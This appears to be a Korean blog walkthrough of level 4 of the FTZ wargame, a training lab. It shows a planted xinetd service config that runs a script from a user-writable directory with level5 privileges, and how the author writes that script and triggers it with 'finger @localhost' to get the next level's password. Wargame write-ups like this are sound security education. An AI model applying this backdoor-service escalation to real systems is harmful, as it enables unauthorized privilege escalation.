FTZ Level4
Jul 14, 2015 · Wargame
[level4@ftz ~]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
/etc/xinetd.d폴더를 확인해 보자.
[level4@ftz ~]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls -al
total 88
drwxr-xr-x 2 root root 4096 Jun 29 14:53 .
drwxr-xr-x 53 root root 4096 Jul 8 12:21 ..
-r--r--r-- 1 root level4 171 Sep 10 2011 backdoor
-rw-r--r-- 1 root root 560 Dec 19 2007 chargen
-rw-r--r-- 1 root root 580 Apr 17 2003 chargen-udp
-rw-r--r-- 1 root root 417 Dec 19 2007 daytime
-rw-r--r-- 1 root root 437 Dec 19 2007 daytime-udp
-rw-r--r-- 1 root root 339 Dec 19 2007 echo
-rw-r--r-- 1 root root 358 Dec 19 2007 echo-udp
-rw-r--r-- 1 root root 317 Dec 19 2007 finger
-rw-r--r-- 1 root root 273 Dec 19 2007 ntalk
-rw-r--r-- 1 root root 359 Dec 19 2007 rexec
-rw-r--r-- 1 root root 376 Dec 19 2007 rlogin
-rw-r--r-- 1 root root 429 Dec 19 2007 rsh
-rw-r--r-- 1 root root 317 Sep 29 2004 rsync
-rw-r--r-- 1 root root 310 Dec 19 2007 servers
-rw-r--r-- 1 root root 312 Dec 19 2007 services
-rw-r--r-- 1 root root 406 Dec 19 2007 sgi_fam
-rw-r--r-- 1 root root 261 Dec 19 2007 talk
-rw-r--r-- 1 root root 305 Sep 10 2011 telnet
-rw-r--r-- 1 root root 495 Dec 19 2007 time
-rw-r--r-- 1 root root 515 Dec 19 2007 time-udp
이중 backdoor라는 파일이 의심스럽다.
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
살펴보면 finger서비스를 작동시킬때, level5의 권한으로 /home/level4/tmp/backdoor파일을 실행시킨다.
xinetd
은 외부에서 서비스를 실행시킬 때 데몬이 대기하고 있어야 하는데, 여러 데몬을 기다리도록 만들 경우 낭비가 심하여 그를 해결하기 위한 관리 데몬이라 생각하면 될것 같다.
http://lily.mmu.ac.kr/lecture/08sm/Fedora2/7jang/2.htm 더 자세한 내용은 참고하면 됩니다.
finger서비스를 구동시켜야 하는데, finger @localhost를 실행할 경우 finger가 외부로 요청을 보내게 됩니다.
그 것을 localhost로 받기 때문에, 다시 돌아와 외부에서 실행하는 서비스로 수행하게 됩니다. 이 서비스를 level5의 권한으로 backdoor를 실행하게 됩니다.
[level4@ftz tmp]$ pwd
/home/level4/tmp
[level4@ftz tmp]$ ls
[level4@ftz tmp]$
tmp폴더를 확인해 보면 프로그램이 존재하지 않습니다. 직접 만들어야 합니다.
[level4@ftz tmp]$ cat > backdoor
#!/bin/bash
my-pass
[level4@ftz tmp]$ chmod +x backdoor
이렇게 프로그램을 작성해 줍니다.
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is " ".
이렇게 서비스를 작동시켜 주게 될 경우 backdoor프로그램이 정상적으로 실행됩니다.